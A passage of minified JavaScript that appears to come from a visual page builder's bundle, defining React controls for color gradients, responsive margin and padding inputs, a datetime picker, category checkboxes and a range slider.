t=e.currentTarget.getAttribute("data-index"),n=this.state.colorPicker;t===n?(this.colorPickerLastActive=n,this.setState({colorPicker:!1})):this.setState({colorPicker:t})}},{key:"_onClickPreviewCanvas",value:function(){this.props.readonly||(c()(this._getValue())?this._onClickPreviewAddButton():this.setState({colorPicker:this.colorPickerLastActive||"colorStart"}))}},{key:"_onClickPreviewAddButton",value:function(){this.props.readonly||this._emitChange("on")}},{key:"_onClickPreviewSwapButton",value:function(){this._emitChange({colorEnd:K.a.normalize(this._getValue("colorStart")),colorStart:K.a.normalize(this._getValue("colorEnd"))})}},{key:"_onClickPreviewRemoveButton",value:function(){this._emitChange("off")}},{key:"_onClickPreviewResetButton",value:function(){this._emitChange()}},{key:"_onChangeColorPicker",value:function(e,t){t&&!this.props.readonly&&this._emitChange(J({},t,K.a.normalize(e)))}},{key:"_onClearColorPicker",value:function(e){this._onChangeColorPicker("",e)}},{key:"_onCloseColorPicker",value:function(){var e=this.state.colorPicker;this.colorPickerLastActive=e,this.setState({colorPicker:!1})}},{key:"_onSelectColorManagerPalette",value:function(e,t){t&&!this.props.readonly&&this._emitChange(J({},t,K.a.normalize(e)))}},{key:"_onMouseEnterPreview",value:function(){var e=this.props,t=e.name,n=e._onMouseEnterPreview,o=e._onMouseEnter;R()(n)&&n(t),R()(o)&&o(t,"preview")}},{key:"_onMouseLeavePreview",value:function(){var e=this.props,t=e.name,n=e._onMouseLeavePreview,o=e._onMouseLeave;R()(n)&&n(t),R()(o)&&o(t,"preview")}},{key:"_onMouseEnterButton",value:function(e){var t=this.props,n=t.name,o=t._onMouseEnterButtonColorStart,r=t._onMouseEnterButtonColorEnd,i=t._onMouseEnterButton,a=t._onMouseEnter,s=e.currentTarget.getAttribute("data-index");"colorStart"===s&&R()(o)?o(n):"colorEnd"===s&&R()(r)&&r(n),R()(i)&&i(n,s),R()(a)&&a(n,s)}},{key:"_onMouseLeaveButton",value:function(e){var t=this.props,n=t.name,o=t._onMouseLeaveButtonColorStart,r=t._onMouseLeaveButtonColorEnd,i=t._onMouseLeaveButton,a=t._onMouseLeave,s=e.currentTarget.getAttribute("data-index");"colorStart"===s&&R()(o)&&o(n),"colorEnd"===s&&R()(r)&&r(n),R()(i)&&i(n,s),R()(a)&&a(n,s)}},{key:"_emitChange",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=this.props,o=n.name,r=n._onChange,i=t||o;R()(r)&&r(i,e)}},{key:"isEdgeValueChanged",value:function(e,t){return U()(this.edges,function(n){var o=K.a.normalize(r()(e,n)),i=K.a.normalize(r()(t,n)),a=K.a.normalize(r()(q.default.gradientDefault(),n)),s=Object(q.hasValue)(i);return!(!s||o===i)||!s&&o!==a})}},{key:"_getValue",value:function(e){var t=this.props.value;return e?r()(t,e):t}},{key:"_getDefaultValue",value:function(e){var t=this.props.defaultValue;return e?r()(t,e):t}},{key:"_getClassName",value:function(e){return e?this._classNameBase+"-"+e:this._classNameBase}},{key:"_getPreviewStyle",value:function(){var e=this,t=this._getValue();if(c()(t)||!W()(t))return{};var n={};return T()(t,function(t,o){c()(t)&&p()(e.edges,o)?n[o]=K.a.transparent:n[o]=t}),{backgroundImage:q.default.getGradient(n)}}},{key:"_setColorPickerState",value:function(e){this.setState({colorPicker:e})}},{key:"_renderColorGradientShared",value:function(){var e=this.state.colorPicker,t=this.props,n=t.readonly,o=t.showPalettes,r=t.hideAddButton,i=t.disableCurrent,a=t.hideSwapButton,s=t.hideResetButton,l=t.hasColorManager,u=t.hideRemoveButton,d=H()(X({},this.props),["name","value"]),p=e||this.colorPickerLastActive,f=e?this._getValue(e):"",h=this._getDefaultValue(),m=!c()(this._getValue()),g=m&&this.isEdgeValueChanged(f,h),b=!n&&!r&&!m,y=!n&&!a&&m,_=!n&&!u&&m,k=!n&&!s&&m&&g;return v.a.createElement($.a,X({},d,{isGradient:!0,name:p,value:f,colorPicker:e,onChangeColorPicker:this._onChangeColorPicker,showPickerPalettes:o&&!l,setColorPickerState:this._setColorPickerState,onClickPreviewCanvas:this._onClickPreviewCanvas,onCloseColorPicker:this._onCloseColorPicker,addTitle:z.d.getI18n("controls.background.addGradient"),previewStyle:this._getPreviewStyle(),showAddButton:b,showSwapButton:y,showResetButton:k,showRemoveButton:_,onClickSwapButton:this._onClickPreviewSwapButton,onClickRemoveButton:this._onClickPreviewRemoveButton,onClickPreviewAddButton:this._onClickPreviewAddButton,onMouseEnterPreview:this._onMouseEnterPreview,onMouseLeavePreview:this._onMouseLeavePreview,isVisible:!!e,disableCurrent:i,onSelectColorManagerPalette:this._onSelectColorManagerPalette}))}},{key:"_renderButtons",value:function(){var e=this,t=this.state.colorPicker,n=this.props.hasPreview;return(!c()(this._getValue())||!n)&&v.a.createElement("div",{className:this._getClassName("wrap--buttons")},this.edges.map(function(n){var o,r,i=(J(o={},e._getClassName("buttons-inner"),!0),J(o,e._getClassName("buttons-inner--"+n),!0),J(o,e._getClassName("buttons-inner--active"),t===n),o),a=(J(r={},e._getClassName("buttons-button"),!0),J(r,e._getClassName("buttons-button--"+n),!0),J(r,e._getClassName("buttons-button--active"),t===n),r),s={borderColor:e._getValue(n)};return v.a.createElement("button",{type:"button",key:n,"data-index":n,className:C()(i),onClick:e._onClickButton,onMouseEnter:e._onMouseEnterButton,onMouseLeave:e._onMouseLeaveButton,"data-et-colorpicker-part":"true"},v.a.createElement("div",{style:s,className:C()(a),"data-text":Q("controls.colorpicker.selectColor")}))}))}},{key:"render",value:function(){var e,t=this.props,n=t.hasPreview,o=t.hasColorManager,r=(J(e={},this._getClassName(),!0),J(e,this._getClassName("-has-preview"),n),J(e,this._getClassName("-has-color-manager"),o),e);return v.a.createElement("div",{ref:this._wrapperRef,className:C()(r)},this._renderColorGradientShared(),this._renderButtons())}}]),t}(),ee=y.a.oneOfType([y.a.string,y.a.shape({colorEnd:y.a.string,colorStart:y.a.string,direction:y.a.string,endPosition:y.a.string,overlaysImage:y.a.string,radialDirection:y.a.string,startPosition:y.a.string,type:y.a.string})]);Z.propTypes={name:y.a.string,hasPreview:y.a.bool,hasColorManager:y.a.bool,showColorManagerOnPickerActive:y.a.bool,disableCurrent:y.a.bool,showPalettes:y.a.bool,isAlpha:y.a.bool,readonly:y.a.bool,animate:y.a.bool,value:ee,defaultValue:ee,hideAddButton:y.a.bool,hideSwapButton:y.a.bool,hideRemoveButton:y.a.bool,hideResetButton:y.a.bool,_onChange:y.a.func,_onMouseEnter:y.a.func,_onMouseLeave:y.a.func,_onMouseEnterPreview:y.a.func,_onMouseLeavePreview:y.a.func,_onMouseEnterButton:y.a.func,_onMouseLeaveButton:y.a.func},Z.defaultProps={hasPreview:!1,hasColorManager:!0,showColorManagerOnPickerActive:!0,disableCurrent:!1,showPalettes:!0,isAlpha:!0,readonly:!1,animate:!1,hideAddButton:!1,hideSwapButton:!1,hideRemoveButton:!1,hideResetButton:!1};var te=Z,ne=n(242),oe=n.n(ne),re=n(140),ie=n.n(re),ae=n(17),se=n.n(ae),le=n(49),ue=n.n(le),ce=n(84),de=n.n(ce),pe=n(148),fe=n.n(pe),he=n(159),me=n.n(he),ge=n(153),ve=n.n(ge),be=n(861),ye=n.n(be),_e=n(398),ke=n.n(_e),we=n(351),Ce=n.n(we),Ee=n(835),Oe=n.n(Ee),Se=n(321),Te=n.n(Se),Me=n(12),xe=n(983),Pe=n(1298),je=(n(1388),n(21)),Le=n(176),Ne=n(64),De=function(e){return!ye()(e)&&0!==parseInt(e)&&"false"!==e},Ae=function(e){return e&&!1!==e?"true":"false"},Fe=function(e,t){return e||t},Ie=Le.a.instance(),Re=oe()({displayName:"ETBuilderControlInputMargins",mixins:[k.a],getInitialState:function(){var e=this._calculatePreviewMode(),t=r()(this.props,"value.activeTab","desktop"),n="wireframe"===e?t:e;return{activeTab:n,value:this.getCurrentInputValue(n)}},getDefaultValues:function(){var e=this._calculatePreviewMode();return"zoom"!==e&&"wireframe"!==e||(e="desktop"),{desktop:["","","",""],tablet:["","","",""],phone:["","","",""],activeTab:e,isResponsive:!1}},UNSAFE_componentWillMount:function(){var e=this;this._onTopChange=this._onInputChange(0).bind(this),this._onRightChange=this._onInputChange(1).bind(this),this._onBottomChange=this._onInputChange(2).bind(this),this._onLeftChange=this._onInputChange(3).bind(this),this.getTopBottomLink=ve()(De,Oe()(4),function(t){return Te()(t,e.getDefaultValue(),Fe)},Ce()("|"),this.getStateValue),this.getLeftRightLink=ve()(De,Oe()(5),function(t){return Te()(t,e.getDefaultValue(),Fe)},Ce()("|"),this.getStateValue)},componentDidMount:function(){this.updatePreviewMode=ie()(this._onPreviewModeChange,500,{leading:!1}),q.default.appWindow().addEventListener("resize",this.updatePreviewMode),this.saveValue=ie()(this.updateOptionValue,0,{leading:!1})},componentWillUnmount:function(){q.default.appWindow().removeEventListener("resize",this.updatePreviewMode)},UNSAFE_componentWillReceiveProps:function(e){var t=r()(e,"value.activeTab"),n=Ie.isAnimating()?this.state.activeTab:this._calculatePreviewMode(),o="wireframe"===n?t:n,i=this.hasResponsiveValue()?o:"desktop",a=r()(e,"value",{}),s=W()(a)?a[i]:a;o===this.state.activeTab&&s===this.getStateValue()||this.setState({activeTab:o,value:s})},componentDidUpdate:function(e){var t=r()(e,["value","activeTab"]),n=r()(this.props,["value","activeTab"]);t&&n&&t!==n&&this.setState({activeTab:n})},_calculatePreviewMode:function(){var e=L.a.getPreviewMode();return"zoom"!==e&&r()(this.props,"value.isResponsive",!1)?"wireframe"===e?"wireframe":e:"desktop"},_onPreviewModeChange:function(){var e=this.getValue("isResponsive")?this._calculatePreviewMode():"desktop";p()(["desktop","tablet","phone"],e)&&this.setState({activeTab:e,value:this.getCurrentInputValue(e)})},getCSSProperty:function(){return r()({custom_padding:"padding",custom_margin:"margin"},this.props.type)},getValues:function(e){var t=this.getDefaultValues(),n=l()(e)?this.props:e,o=l()(n.value)||""===n.value?t:q.default.intentionallyClone(n.value),r=["desktop","tablet","phone"];return ue()(o)&&(o={desktop:o}),T()(o,function(e,n){if(p()(r,n)){var i=l()(e)||se()(e)?e:e.split("|");se()(i)&&2===de()(i)&&(i=[i[0],"",i[1],""]),o[n]=!l()(e)&&q.default.hasValue(e)?i:t[n]}else"activeTab"===n&&(o.activeTab=p()(r,e)?e:t.activeTab)}),o},getValue:function(e,t){var n=this.getValues(t);return l()(n)||l()(n[e])?"":n[e]},getStateValue:function(){return ke()(this.state.value)},getDefaultValue:function(e){e=e||this.getValue("activeTab");var t=q.default.getPrevBreakpoint(e),n=r()(this.props,"default_"+e,"");return t?n?n.split("|"):this.getDefaultValue(t):r()(this.props,"default","").split("|")},getCurrentInputValue:function(e,t){var n=void 0,o="desktop";return l()(e)?(this.getActiveTab("tablet")&&this.getValue("isResponsive")&&(o="tablet"),this.getActiveTab("phone")&&this.getValue("isResponsive")&&(o="phone")):o=e,n=this.getValue(o,t),l()(n)||!se()(n)?"||||":n.join("|")},getActiveTab:function(e){var t="zoom"===this._calculatePreviewMode()?"desktop":r()(this,"state.activeTab");return this.hasResponsiveValue()?e===t:e===this.getValue("activeTab")},getPropsNameSuffix:function(){var e=this.state.activeTab;return!p()(["zoom","wireframe","desktop"],e)&&this.hasResponsiveValue()?"_"+e:""},getPropsNameLastEdited:function(){return this.props.name+"_last_edited"},getPropsValueLastEdited:function(e,t){return(e?"on":"off")+"|"+(t=e?t:"desktop")},hasMobileOptions:function(){return q.default.hasValue(this.props.mobile_options)},hasResponsiveValue:function(){return this.hasMobileOptions()&&W()(this.props.value)&&this.props.value.isResponsive},reset:function(e){e.preventDefault();var t=this.getDefaultValues(),n=this.getValue("activeTab");this.getValues()[n]=t[n],this.props._onChange(this.props.name+this.getPropsNameSuffix(),t[n].join("|")),this.setState({value:t[n].join("|")})},changeTab:function(e){var t=L.a.getActiveModule(),n=this.getValue("isResponsive"),o=e.target.getAttribute("data-tab"),r=this._calculatePreviewMode();return"hover"===o?(Me.b.switchResponsivePreviewMode("desktop"),Me.b.toggleModuleHover(!0),void Me.b.moduleSettingsChange(t,"hover_enabled",1)):"sticky"===o?(Me.b.switchResponsiveMode("desktop"),Me.b.toggleModuleSticky(!0),void Me.b.moduleSettingsChange(t,"sticky_enabled",1)):(Me.b.toggleModuleHover(!1),Me.b.moduleSettingsChange(t,"hover_enabled",0),Me.b.moduleSettingsChange(t,"sticky_enabled",0),this.setState({activeTab:o,value:this.getCurrentInputValue(o)}),"wireframe"!==r&&Me.b.switchResponsivePreviewMode(o),this.props._onChange(this.getPropsNameLastEdited(),this.getPropsValueLastEdited(n,o)),void this.removePaddingMobile())},removePaddingMobile:function(){var e=r()(this,"props.name",!1),t=r()(this,"props.moduleAttrs.padding_mobile",!1),n=r()(this,"props.moduleAttrs.column_padding_mobile",!1);"custom_padding"===e&&q.default.hasValue(t)&&this.props._onChange("padding_mobile",""),p()(["padding_1","padding_2","padding_3","padding_4","padding_5","padding_6"],e)&&q.default.hasValue(n)&&this.props._onChange("column_padding_mobile","")},getInput:function(e,t,n,o){var i="et-fb-"+this.props.name,a="padding"===this.getCSSProperty()?0:void 0,s=n===o?"":n,l=r()({top:this._onTopChange,right:this._onRightChange,bottom:this._onBottomChange,left:this._onLeftChange},t);return v.a.createElement("div",{className:"et-fb-settings-option-input-wrap "+t},v.a.createElement(Pe.a,{id:i+"-input-"+t,name:this.props.name+"-input-"+t,type:"text",className:"et-fb-settings-option-input et-fb-settings-option-input-margin et-fb-settings-option-input-margin--"+t,value:fe()(s),defaultValue:o,"data-tab":e,"data-order":"0",onChange:l,speed:4,min:a,label:ETBuilderBackend.i18n.controls.inputMargin[t],defaultUnit:"px",allowedUnits:this.props.allowed_units,property:this.getCSSProperty(),readonly:r()(this.props,"readonly",!1)}))},inputsWrap:function(e){var t=this.getStateValue().split("|"),n=this.getDefaultValue(e);return v.a.createElement("div",{className:"et-fb-settings-option-inputs-wrap"},this.getInput(e,"top",t[0],n[0]),v.a.createElement(xe.a,{active:this.getTopBottomLink(),onClick:this._topBottomLink}),this.getInput(e,"bottom",t[2],n[2]),this.getInput(e,"left",t[3],n[3]),v.a.createElement(xe.a,{active:this.getLeftRightLink(),onClick:this._leftRightLink}),this.getInput(e,"right",t[1],n[1]))},render:function(){var e=this.getActiveTab("desktop")?"active":"",t=this.getActiveTab("tablet")?"active":"",n=this.getActiveTab("phone")?"active":"",o=this.getValue("isResponsive"),i=ETBuilderBackend.i18n.controls.responsiveTabs,a=void 0,s=void 0,l=void 0;if(this.getValue("isResponsive")){var u=je.a.getFieldBaseName(r()(this,"props.name","")),c=je.a.isEnabled("moduleAttrs."+u,this.props),d=!0===L.a.getHoverMode()?"active":"",p=c?v.a.createElement("li",{className:d,"data-tab":"hover",onClick:this.changeTab},ETBuilderBackend.i18n.controls.tabs.hover):"",f=c?"et-fb-settings-option-responsive-tab-nav et-fb-settings-option-responsive-tab-nav-hover-active ":"et-fb-settings-option-responsive-tab-nav";"active"===d&&(e=""),v.a.createElement("ul",{className:f},v.a.createElement("li",{className:e,"data-tab":"desktop",onClick:this.changeTab},i.desktop),p,v.a.createElement("li",{className:t,"data-tab":"tablet",onClick:this.changeTab},i.tablet),v.a.createElement("li",{className:n,"data-tab":"phone",onClick:this.changeTab},i.phone))}return!this.getActiveTab("desktop")&&this.hasResponsiveValue()||(a=this.inputsWrap("desktop")),this.getActiveTab("tablet")&&o&&(s=this.inputsWrap("tablet")),this.getActiveTab("phone")&&o&&(l=this.inputsWrap("phone")),v.a.createElement("div",{className:"et-fb-settings-option-inner et-fb-settings-option-inner-responsive et-fb-settings-option-inner-input-margins"},a,s,l)},_topBottomLink:function(){if(!this.props.readonly){var e=this.getLastVerticalUpdated(),t=this.getStateValue().split("|");t[4]=Ae(!this.getTopBottomLink()),this.getTopBottomLink()||t[0]===t[2]||(ye()(e)?ye()(t[0])?t[0]=t[2]:t[2]=t[0]:"top"===e?t[2]=t[0]:t[0]=t[2]),this.updatePadding(t.join("|"))}},_leftRightLink:function(){if(!this.props.readonly){var e=this.getLastHorizontalUpdated(),t=this.getStateValue().split("|");t[5]=Ae(!this.getLeftRightLink()),this.getLeftRightLink()||t[1]===t[3]||(ye()(e)?ye()(t[3])?t[3]=t[1]:t[1]=t[3]:"left"===e?t[1]=t[3]:t[3]=t[1]),this.updatePadding(t.join("|"))}},_onInputChange:me()(function(e,t){if(!this.props.readonly){var n=this.getStateValue().split("|");switch(n[e]=this.validateValue(t)?t:"",e){case 0:n[2]=this.getTopBottomLink()?n[e]:n[2],this._lastVUpdated="top";break;case 1:n[3]=this.getLeftRightLink()?n[e]:n[3],this._lastHUpdated="right";break;case 2:n[0]=this.getTopBottomLink()?n[e]:n[0],this._lastVUpdated="bottom";break;case 3:n[1]=this.getLeftRightLink()?n[e]:n[1],this._lastHUpdated="left"}n[4]=n[4]||this.getTopBottomLink(),n[5]=n[5]||this.getLeftRightLink(),this.updatePadding(n.join("|"))}}),validateValue:function(e){if(Object(Ne.d)(this.getCSSProperty(),e))return!0;if(isNaN(parseFloat(e)))return!1;switch(this.getCSSProperty()){case"padding":return parseFloat(e)>=0;default:return!0}},getLastVerticalUpdated:function(){return this._lastVUpdated},getLastHorizontalUpdated:function(){return this._lastHUpdated},updatePadding:function(e){this.removePaddingMobile(),this.setState({value:e}),this.saveValue.cancel(),this.saveValue()},updateOptionValue:function(){this.props._onChange(this.props.name+this.getPropsNameSuffix(),this.getStateValue())}});Re.defaultProps={default:"|||||"};var Be=Re,We=n(28),Ve=n.n(We),He=(n(1389),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var Ge=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={date_time:null},n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),He(t,[{key:"componentDidMount",value:function(){var e=this,t=q.default.$topWindow(Ve.a.findDOMNode(this.refs.input));t.datetimepicker({showButtonPanel:!1,dateFormat:"yy-mm-dd",onSelect:function(t,n){e.props._onChange(e.props.name,t)}}),t.datetimepicker("setDate",this.props.value)}},{key:"render",value:function(){return v.a.createElement("div",{className:"et-fb-settings-option-input-datetime",ref:"input"})}}]),t}(),Ue=n(34),ze=n.n(Ue),qe=n(27),Ke=n.n(qe),$e=n(286),Xe=n.n($e),Ye=n(95),Je=n.n(Ye),Qe=n(225),Ze=n.n(Qe),et=n(85),tt=n.n(et),nt=n(110),ot=n.n(nt),rt=n(118),it=(n(1390),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var at=new rt.AllHtmlEntities,st=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n._onChange=n._onChange.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),it(t,[{key:"render",value:function(){var e=this,t=Ze()(this._getCategories()),n=L.a.getTaxonomyLabels(this._getTermName()),o=this.props.value,i=l()(o)?[]:o.split(","),a=[];return c()(t)||(a=t.map(function(t,n){if(c()(t))return!1;var o="select-category-"+r()(e.props,"module.props.module.props.shortcut_index",e._getTermName())+"-"+t.term_id;return!c()(t)&&v.a.createElement("p",{key:o},v.a.createElement("label",{htmlFor:o},v.a.createElement("input",{type:"checkbox",id:o,name:"et_fb_select_category["+n+"]",value:t.term_id,onChange:e._onChange,checked:p()(i,t.term_id.toString())})," ",at.decode(t.name)))})),c()(ot()(a))&&(a=[]),c()(ot()(a))&&(a=l()(n.not_found)?"":at.decode(n.not_found)),v.a.createElement("div",{className:"et-fb-checkboxes-category-wrap"},a)}},{key:"_getTermName",value:function(){return r()(this.props,"renderer_options.use_terms",!1)?r()(this.props,"renderer_options.term_name"):this.props.taxonomy_name}},{key:"_getCategories",value:function(){var e=L.a.getTaxonomy(this._getTermName()),t=r()(this.props,"renderer_options.custom_items",[]);return tt()(t,this._getMetaCategories(),e)}},{key:"_useMetaCategories",value:function(){return!l()(this.props.meta_categories)&&!c()(this.props.meta_categories)}},{key:"_getMetaCategories",value:function(){return this._useMetaCategories()?ze()(this.props.meta_categories,function(e,t){return{term_id:t,name:e}}):[]}},{key:"_onChange",value:function(e){var t=this.props.value,n=this._getCategories(),o=ze()(n,function(e){return Ke()(e.term_id)}),r=e.target.checked,i=Ke()(e.target.value),a=l()(t)?[]:t.split(",");r?c()(a)?a=[i]:a.push(i):a=Xe()(a,function(e){return e!==i});var s=Je()(a,o);this.props._onChange(this.props.name,s.join(","))}}]),t}();st.propTypes={taxonomy_name:y.a.string,value:y.a.string,_onChange:y.a.func};var lt=st,ut=n(1314),ct=n(46),dt=n.n(ct),pt=n(52),ft=n.n(pt),ht=n(104),mt=n.n(ht),gt=n(59),vt=n.n(gt),bt=n(178),yt=n(896),_t=(n(1391),n(14)),kt=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},wt=Le.a.instance(),Ct="desktop";q.default.$appWindow().on("resize",ft()(function(){Ct=wt.getViewModeByWidth(q.default.$appWindow().width()),q.default.$appWindow().trigger("et_builder_range_resize")},400));var Et=oe()({displayName:"ETBuilderControlRange",mixins:[k.a],isChangingRange:!1,getRangeSettings:function(){return l()(this.props.range_settings)?{min:0,max:100,step:1}:this.props.range_settings},getInitialState:function(){var e=this.getRangeSettings();return{rangeMin:e.min,rangeMax:e.max,rangeStep:e.step,value:this.props.value,rangeFocus:!1}},componentDidMount:function(){var e=this.props.value;this.deferredUpdate=ft()(this.updateOptionAndState,700),parseFloat(this.state.rangeStep)>.1&&parseFloat(e)%1>0&&this.setState({rangeStep:"0.1"}),this.checkRangeBoundaries(this.state.value)},componentDidUpdate:function(e){(this.props.previewMode&&this.props.previewMode!==e.previewMode||this.state.value!==e.value)&&this.setState({value:this.emptyIfDefault(this.getCurrentInputValue())})},componentWillUnmount:function(){this.deferredUpdate.cancel()},_calculatePreviewMode:function(){var e=L.a.getPreviewMode();return"zoom"===e?"desktop":"wireframe"===e?"wireframe":Ct},getCurrentInputValue:function(){var e=this.props.value;if(ue()(this.props.isTransformOrigin)){if("50%"===this.props.value)return"center";if("x"===this.props.isTransformOrigin){if("0%"===this.props.value)return"left";if("100%"===this.props.value)return"right"}else if("y"===this.props.isTransformOrigin){if("0%"===this.props.value)return"top";if("100%"===this.props.value)return"bottom"}}return l()(e)||vt()(e)||mt()(e)?"":e},getDefaultValue:function(){var e=r()(this,"props.allow_empty",!1)?void 0:0,t=r()(this,"props.additionalAttrs.getDefaultFrom",!1),n=r()(this,"props.default_values_mapping",!1),o=_t.a.isMobile(this.props),i=this.props.default;return t&&n&&!o&&(i=r()(n,t,i)),q.default.hasValue(i)?i:e},getDefaultUnit:function(){return Object(Ne.c)(this.getDefaultValue())},emptyIfDefault:function(e){return e===this.getDefaultValue()?"":e},isFixedUnit:function(){return q.default.hasValue(this.props.fixed_unit)},isAllowedUnit:function(){return q.default.hasValue(this.props.allowed_units)&&se()(this.props.allowed_units)},isValidateUnit:function(){return!1!==this.props.validate_unit},validateValue:function(e){if(p()(this.props.allowed_values,e))return e;var t=this.props.value||this.props.default,n=Ne.a.getUnit(this.isChangingRange?t:e,this.props.default_unit);this.isAllowedUnit()&&!p()(this.props.allowed_units,n)&&(n=this.props.default_unit||"px");var o=this.isFixedUnit()?this.props.fixed_unit:n,r=this.isValidateUnit()&&!0!==this.props.unitless?o:"";return Ne.a.sanitizeInputUnit(Ke()(parseFloat(e)),!1,r)},reset:function(e){e.preventDefault(),this.updateOptionAndState("")},onRangeFocus:function(){this.setState({rangeFocus:!0})},onRangeBlur:function(){this.setState({rangeFocus:!1})},inputsWrap:function(){var e="et-fb-"+this.props.name,t=this.props.name,n=l()(this.getDefaultValue())?"0":this.validateValue(this.getDefaultValue()),o=this.validateValue(this.getCurrentInputValue())===n?"":this.validateValue(this.getCurrentInputValue()),r=""===o?n:o;if(ue()(this.props.isTransformOrigin))switch(o){case"center":r=50;break;case"top":case"left":r=0;break;case"right":case"bottom":r=100}var i={};q.default.hasValue(this.getRangeSettings().min_limit)&&(i.min=parseFloat(this.getRangeSettings().min_limit)),q.default.hasValue(this.getRangeSettings().max_limit)&&(i.max=parseFloat(this.getRangeSettings().max_limit)),isNaN(parseFloat(r))&&(r=this.state.rangeMax);var a={};return a.onInput=this._updateFromRange,a.onChange=dt.a,v.a.createElement("div",{className:"et-fb-settings-option-inputs-wrap"},v.a.createElement("input",kt({id:e,name:t,type:"range",min:this.state.rangeMin,max:this.state.rangeMax,step:this.getRangeStep(),className:"et-fb-range",value:parseFloat(r),"data-shortcuts-allowed":!0},a,{onFocus:this.onRangeFocus,onBlur:this.onRangeBlur})),v.a.createElement("div",{className:"et-fb-range-number et-fb-settings-option-input"},v.a.createElement(yt.a,kt({id:e+"-number"},i,{value:o,onChange:this._onChange,defaultValue:n,defaultUnit:this.getDefaultUnit(),step:parseFloat(this.getRangeSettings().step),precision:this.props.precision,isTransformOrigin:this.props.isTransformOrigin}))))},render:function(){var e=this.getDefaultValue(),t=this.props.value,n=this.inputsWrap();return!t||t===e||this.props.readonly||this.props.disableReset||v.a.createElement("button",{className:"et-fb-settings-option-button--reset",onClick:this.reset}),v.a.createElement("div",{className:C()({"et-fb-settings-option-inner":!0,"et-fb-settings-option-inner-range":!0})},n)},updateOptionAndState:function(e){e=l()(e)?this.state.value:e;var t=this.validateValue(e);this.setState({value:this.emptyIfDefault(t)}),this.props._onChange(this.props.name,t,this.props.type)},_updateFromRange:function(e){this.props.readonly||(this.isChangingRange=!0,this.updateOptionAndState(e.target.value),this.isChangingRange=!1)},_onChange:function(e){this.props.readonly||(this.updateOptionAndState(e),this.checkRangeBoundaries(e))},checkRangeBoundaries:function(e){if(q.default.hasValue(e)){var t=parseFloat(e);!q.default.hasValue(this.getRangeSettings().max_limit)&&t>this.state.rangeMax&&this.setState({rangeMax:t}),!q.default.hasValue(this.getRangeSettings().min_limit)&&t<this.state.rangeMin&&this.setState({rangeMin:t}),parseFloat(this.state.rangeStep)>.1&&t%1>0?this.setState({rangeStep:"0.1"}):parseFloat(this.state.rangeStep)<1&&0==t%1&&this.setState({rangeStep:this.getRangeSettings().step})}},getRangeStep:function(){return parseFloat(this.state.rangeStep)*(this.state.rangeFocus&&Object(bt.g)()?10:1)}});Et.propTypes={default_unit:y.a.string,precision:y.a.number,name:y.a.string,value:y.a.oneOfType([y.a.string,y.a.object,y.a.array]),range_settings:y.a.object,mobile_options:y.a.bool,reset_animation:y.a.bool,previewMode:y.a.string,default:y.a.oneOfType([y.a.string,y.a.number]),default_tablet:y.a.string,default_phone:y.a.string,type:y.a.string,fixed_unit:y.a.string,validate_unit:y.a.bool,readonly:y.a.bool,_onChange:y.a.func,unitless:y.a.bool,isTransformOrigin:y.a.oneOfType([y.a.string,y.a.bool])},Et.defaultProps={default_unit:"",allowed_values:[],isTransformOrigin:!1};var Ot=Et,St=n(1315),Tt=n(1393),Mt=n(1282),xt=n(1413),Pt=n(815),jt=n(56),Lt=n.n(jt),Nt=n(209),Dt=n.n(Nt),At=n(382),Ft=n.n(At),It=n(114),Rt=n.n(It),Bt=n(47),Wt=n.n(Bt),Vt=n(24),Ht=n.n(Vt),Gt=n(236),Ut=n.n(Gt),zt=n(639),qt=n(62),Kt=(n(1415),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),$t=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Xt=Ut()(function(e,t){return Ht.a.ajax({type:"GET",dataType:"json",url:e,data:t}).promise()}),Yt=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.getSelectOptions=function(){return Rt()(Ft()(n.state.options,function(e){var t=e.value;return n.valuePrefix+t.toString()}),"label")},n.filterOptionLabel=function(e,t){return 